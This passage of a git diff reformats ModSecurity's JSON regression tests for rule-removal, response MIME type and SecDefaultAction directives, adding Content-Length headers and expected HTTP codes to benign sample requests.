20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Removed by an SecRuleRemove directive." + "expected": { + "debug_log": "Skipped rule id '2'. Removed by an SecRuleRemove directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveById 1-3", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", @@ -82,40 +94,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveById (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveById (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Removed by an SecRuleRemove directive." + "expected": { + "debug_log": "Skipped rule id '2'. Removed by an SecRuleRemove directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveById 1 2-3", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", diff --git a/test/test-cases/regression/config-remove_by_msg.json b/test/test-cases/regression/config-remove_by_msg.json index 36cb3cab06..dc814e6be6 100644 --- a/test/test-cases/regression/config-remove_by_msg.json +++ b/test/test-cases/regression/config-remove_by_msg.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveByMsg (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveByMsg (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Removed by a SecRuleRemoveByMsg directive." + "expected": { + "debug_log": "Skipped rule id '2'. Removed by a SecRuleRemoveByMsg directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveByMsg tag123", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim,msg:'tag123'\"", @@ -41,40 +47,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveByMsg (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveByMsg (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '3'. Removed by a SecRuleRemoveByMsg directive." + "expected": { + "debug_log": "Skipped rule id '3'. Removed by a SecRuleRemoveByMsg directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveByMsg whee", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", diff --git a/test/test-cases/regression/config-remove_by_tag.json b/test/test-cases/regression/config-remove_by_tag.json index 09681546ac..3ad907b735 100644 --- a/test/test-cases/regression/config-remove_by_tag.json +++ b/test/test-cases/regression/config-remove_by_tag.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveByTag (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveByTag (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Removed by a SecRuleRemoveByTag directive" + "expected": { + "debug_log": "Skipped rule id '2'. Removed by a SecRuleRemoveByTag directive", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveByTag tag123", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim,tag:tag123\"", @@ -41,40 +47,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveByTag (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveByTag (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '3'. Removed by a SecRuleRemoveByTag directive." + "expected": { + "debug_log": "Skipped rule id '3'. Removed by a SecRuleRemoveByTag directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveByTag whee", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", diff --git a/test/test-cases/regression/config-response_type.json b/test/test-cases/regression/config-response_type.json index 621ab38a20..bcea1effe1 100644 --- a/test/test-cases/regression/config-response_type.json +++ b/test/test-cases/regression/config-response_type.json @@ -1,128 +1,144 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyMimeType (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyMimeType (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"T \\(0\\) t:trim: \"no need.\"" + "expected": { + "debug_log": "T \\(0\\) t:trim: \"no need.\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", - "SecResponseBodyMimeType text\/plain text\/html text\/xml", + "SecResponseBodyMimeType text/plain text/html text/xml", "SecRule RESPONSE_BODY \"@contains RESPONSE_CONTENT_TYPE\" \"id:9,pass,t:trim,phase:4\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyMimeType (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyMimeType (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Response Content-Type is text/html. It is not marked to be inspected." + "expected": { + "debug_log": "Response Content-Type is text/html. It is not marked to be inspected.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", - "SecResponseBodyMimeType application\/something", + "SecResponseBodyMimeType application/something", "SecRule RESPONSE_BODY \"@contains RESPONSE_CONTENT_TYPE\" \"id:9,pass,t:trim,phase:4\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecResponseBodyMimeType (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecResponseBodyMimeType (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Response Content-Type is text/html. It is not marked to be inspected." + "expected": { + "debug_log": "Response Content-Type is text/html. It is not marked to be inspected.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", - "SecResponseBodyMimeType text\/plain text\/tml text\/xml", + "SecResponseBodyMimeType text/plain text/tml text/xml", "SecResponseBodyMimeTypesClear", "SecRule RESPONSE_BODY \"@contains RESPONSE_CONTENT_TYPE\" \"id:9,pass,t:trim,phase:4\"" ] } - - ] diff --git a/test/test-cases/regression/config-secdefaultaction.json b/test/test-cases/regression/config-secdefaultaction.json index bb3d7d8104..9a0ef824d8 100644 --- a/test/test-cases/regression/config-secdefaultaction.json +++ b/test/test-cases/regression/config-secdefaultaction.json @@ -1,57 +1,59 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: supporting transformation", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: supporting transformation", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"lowercase: \"300\"", - "error_log":"" + "expected": { + "debug_log": "lowercase: \"300\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,t:lowercase,pass\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"phase:2,id:1,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", @@ -59,58 +61,60 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: supporting transformation + t:none", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: supporting transformation + t:none", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":" Target value: \"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" ", - "error_log":"" + "expected": { + "debug_log": " Target value: \"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,t:lowercase,pass\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"t:none,phase:2,id:1,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", @@ -118,14 +122,41 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: t:none", - "expected":{ - "parser_error":"The transformation none is not suitable to be part of the SecDefaultActions" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: t:none", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "The transformation none is not suitable to be part of the SecDefaultActions" + }, + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,t:none\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"t:none,phase:2,id:1,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", @@ -133,58 +164,60 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: simple test", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: simple test", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Saving msg: This is a test, text\/html,application", - "error_log":"" + "expected": { + "debug_log": "Saving msg: This is a test, text/html,application", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,log,auditlog,pass\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", @@ -192,30 +225,83 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: action not suitable", - "expected":{ - "parser_error":"The action 'id' is not suitable to be part of the SecDefaultActions" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: action not suitable", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "The action 'id' is not suitable to be part of the SecDefaultActions" + }, + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,id:1,log,auditlog,pass,tag:'teste'\"", - "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,tag:'teste',t:lowercase,t:none,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: twice", - "expected":{ - "parser_error":"SecDefaultActions can only be placed once per phase and configuration context. Phase 2 was informed already." - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: twice", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "SecDefaultActions can only be placed once per phase and configuration context. Phase 2 was informed already." + }, + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,log,auditlog,pass,tag:'teste'\"", "SecDefaultAction \"phase:2,log,auditlog,pass,tag:'teste'\"", @@ -224,58 +310,60 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecDefaultAction: status + redirect", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecDefaultAction: status + redirect", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Request was relevant to be saved.", + "expected": { + "debug_log": "Request was relevant to be saved.", "http_code": 302 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,log,auditlog,status:302,redirect:'http://www.google.com'\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"phase:2,id:1,block\"", diff --git a/test/test-cases/regression/config-secremoterules.json b/test/test-cases/regression/config-secremoterules.json index 017245c1fe..9ff647afe3 100644 --- a/test/test-cases/regression/config-secremoterules.json +++ b/test/test-cases/regression/config-secremoterules.json @@ -1,95 +1,134 @@ [ { - "enabled":1, - "version_min":300000, + "enabled": 1, + "version_min": 300000, + "title": "Include remote rules", "resource": "curl", - "title":"Include remote rules", - "client":{ - "ip":"200.249.12.31", - "port":123 